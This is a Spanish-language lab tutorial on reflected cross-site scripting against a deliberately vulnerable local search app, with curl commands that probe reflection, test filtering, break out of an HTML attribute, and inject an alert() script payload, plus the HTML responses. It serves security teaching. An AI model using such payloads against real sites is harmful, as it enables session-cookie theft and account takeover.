Introducción
El Cross-Site Scripting (XSS) Reflejado es una vulnerabilidad web común que ocurre cuando una aplicación recibe datos en una solicitud HTTP e incluye esos datos en la respuesta HTTP inmediata de manera insegura. Debido a que el script malicioso inyectado es "reflejado" por el servidor web, este se ejecuta en el navegador de la víctima, permitiendo a los atacantes robar cookies de sesión, realizar acciones en nombre del usuario o desfigurar el sitio web.
La idea fundamental es que el XSS es un error de ejecución de código del lado del navegador. El servidor puede reflejar la carga útil, pero el navegador es donde el script realmente se ejecuta y donde se rompe el límite de confianza.
En este laboratorio, interactuarás con una aplicación web vulnerable alojada localmente. Aprenderás el enfoque sistemático para encontrar y explotar el XSS Reflejado: localizar dónde se refleja tu entrada, probar cómo la aplicación maneja los caracteres especiales, salir de la estructura HTML existente y, finalmente, ejecutar una carga útil de JavaScript malicioso.
Localizar puntos de reflexión
En este paso, aprenderás a identificar puntos de reflexión en una aplicación web. Un punto de reflexión es una ubicación en la respuesta HTTP de la aplicación donde la entrada que proporcionaste en la solicitud HTTP se muestra (o "refleja") de vuelta hacia ti.
Hemos iniciado una aplicación web vulnerable en tu máquina local, accesible en el puerto 8080. Esta aplicación tiene una función de búsqueda que toma un parámetro de consulta llamado q.
Para encontrar un punto de reflexión, necesitas enviar una cadena única y fácilmente identificable a la aplicación y verificar si aparece en el código fuente de la respuesta. Usaremos la herramienta de línea de comandos curl para enviar una solicitud HTTP GET a la aplicación.
La reflexión es necesaria pero no suficiente. Tu entrada debe aparecer en un contexto donde el análisis del navegador pueda convertirla en código ejecutable.
Ejecuta el siguiente comando en tu terminal para enviar una cadena de prueba REFLECTION_TEST al endpoint de búsqueda:
curl -s "http://localhost:8080/search?q=REFLECTION_TEST"
Observa detenidamente la salida HTML impresa en tu terminal. Deberías ver tu entrada REFLECTION_TEST incrustada directamente dentro de la estructura HTML.
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
<h2>Search Results</h2>
<form action="/search" method="GET">
<input type="text" name="q" value="REFLECTION_TEST">
<button type="submit">Search Again</button>
</form>
</body>
</html>
Nota que tu entrada se coloca dentro del atributo value de una etiqueta <input>. Esto confirma que la aplicación toma nuestra entrada de la URL y la refleja directamente en la respuesta HTML. Esta es la primera condición necesaria para una vulnerabilidad de XSS Reflejado.
Probar el filtrado de caracteres (< > ")
En este paso, probarás si la aplicación desinfecta o filtra caracteres HTML especiales.
La codificación sensible al contexto es la verdadera defensa aquí. Los caracteres peligrosos difieren dependiendo de si la entrada cae en el texto del cuerpo de un elemento, un atributo HTML, JavaScript o una URL.
Encontrar un punto de reflexión no es suficiente para confirmar una vulnerabilidad XSS. Los frameworks web modernos a menudo codifican automáticamente los caracteres especiales. Por ejemplo, un signo menor que < podría convertirse en <. Si la aplicación codifica estos caracteres, el navegador los tratará como texto seguro en lugar de código ejecutable, evitando el XSS.
Para inyectar HTML o JavaScript malicioso, normalmente necesitamos caracteres como el signo menor que < (para iniciar una etiqueta), el signo mayor que > (para cerrar una etiqueta) y comillas dobles " (para manipular atributos).
Enviemos una nueva carga útil que contenga estos caracteres especiales para ver cómo los maneja la aplicación. Usaremos comillas simples alrededor de la URL en nuestro comando curl para evitar que el shell de Linux interprete los caracteres especiales.
Ejecuta el siguiente comando para probar el filtrado de caracteres:
curl -s 'http://localhost:8080/search?q=FILTER_TEST<>"'
Examina la salida devuelta por el servidor:
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
<h2>Search Results</h2>
<form action="/search" method="GET">
<input type="text" name="q" value="FILTER_TEST<>"">
<button type="submit">Search Again</button>
</form>
</body>
</html>
Observa el atributo value en la etiqueta <input>. Los caracteres <>" se reflejan exactamente como los enviamos, sin ninguna codificación HTML (como < o "). Esta falta de desinfección confirma que es muy probable que la aplicación sea vulnerable a Cross-Site Scripting.
Salir de contextos HTML
En este paso, aprenderás cómo salir del contexto HTML actual para prepararte para la inyección de la carga útil.
Este es el núcleo del trabajo práctico de XSS: comprender el contexto del analizador en el que comienzas y luego usar la sintaxis para escapar de él de manera segura hacia uno más peligroso.
El contexto es crucial en XSS. En nuestra aplicación vulnerable, el punto de reflexión está dentro de un atributo HTML: value="[YOUR_INPUT]". Si simplemente inyectamos una etiqueta <script> de inmediato, se convertirá en parte del valor de texto del campo de entrada, en lugar de ser ejecutada por el navegador.
Para forzar al navegador a ejecutar nuestro código, primero debemos "salir" del atributo value y cerrar la etiqueta <input>.
Dado que el atributo está encerrado entre comillas dobles, podemos inyectar una comilla doble " para cerrar el atributo value prematuramente. Luego, podemos inyectar un signo mayor que > para cerrar la etiqueta <input> en sí.
Probemos esta técnica de escape. Envía la siguiente carga útil a la aplicación:
curl -s 'http://localhost:8080/search?q=BREAKOUT">'
Revisa la salida HTML cuidadosamente:
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
<h2>Search Results</h2>
<form action="/search" method="GET">
<input type="text" name="q" value="BREAKOUT">">
<button type="submit">Search Again</button>
</form>
</body>
</html>
Mira lo que sucedió con la etiqueta <input>. El HTML ahora dice value="BREAKOUT">">.
Nuestra " inyectada cerró con éxito el atributo value, y nuestro > inyectado cerró la etiqueta <input>. El "> restante al final es la comilla de cierre y el corchete originales de la plantilla de la aplicación, que ahora quedan colgando como texto inofensivo en la página.
Has salido con éxito del contexto del atributo HTML. El espacio inmediatamente después de tu carga útil ahora se trata como contenido de cuerpo HTML estándar, donde se pueden introducir nuevas etiquetas.
Ejecutar carga útil de JavaScript
En este paso final, combinarás la técnica de escape con una carga útil de JavaScript malicioso para lograr Cross-Site Scripting.
Ahora que sabes cómo salir de la etiqueta <input>, puedes añadir cualquier HTML o JavaScript válido inmediatamente después de tu secuencia de escape. La prueba de concepto más común para XSS es inyectar una etiqueta <script> que active un cuadro de alert() de JavaScript.
Nuestra carga útil completa será: "><script>alert("XSS")</script>
Así es como funciona la carga útil. La secuencia "> sale del atributo value y cierra la etiqueta <input>. A continuación, la etiqueta <script> inicia un nuevo bloque de ejecución de JavaScript. Dentro de este bloque, alert("XSS") es el código JavaScript que se ejecutará. Finalmente, la etiqueta </script> cierra el bloque de ejecución.
Ejecuta el siguiente comando para inyectar la carga útil XSS completa:
curl -s 'http://localhost:8080/search?q="><script>alert("XSS")</script>'
Examina la salida HTML final:
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
<h2>Search Results</h2>
<form action="/search" method="GET">
<input type="text" name="q" value=""><script>alert("XSS")</script>">
<button type="submit">Search Again</button>
</form>
</body>
</html>
Si una víctima hiciera clic en un enlace que contenga esta carga útil en su navegador web (por ejemplo, http://localhost:8080/search?q="><script>alert("XSS")</script>), su navegador analizaría el HTML de arriba a abajo. Cuando llegue a la etiqueta <script> inyectada, ejecutará el código JavaScript, mostrando un cuadro de alerta que dice "XSS".
En un ataque del mundo real, en lugar de una alerta inofensiva, un atacante inyectaría código para robar las cookies de sesión de la víctima (document.cookie) y enviarlas a un servidor malicioso, lo que llevaría a la toma de control total de la cuenta.
Resumen
¡Felicidades! Has completado con éxito el laboratorio de Cross-Site Scripting (XSS) Reflejado.
En este laboratorio, aprendiste a:
- Identificar puntos de reflexión enviando cadenas únicas y analizando la respuesta HTTP.
- Probar el filtrado de caracteres para determinar si una aplicación codifica de forma segura los caracteres HTML especiales.
- Salir de contextos de atributos HTML manipulando comillas y corchetes.
- Construir e inyectar una carga útil de JavaScript completa para lograr la ejecución de código dentro del navegador.
Comprender estos mecanismos es esencial tanto para identificar vulnerabilidades como investigador de seguridad, como para implementar una desinfección de entrada y codificación de salida adecuadas como desarrollador.



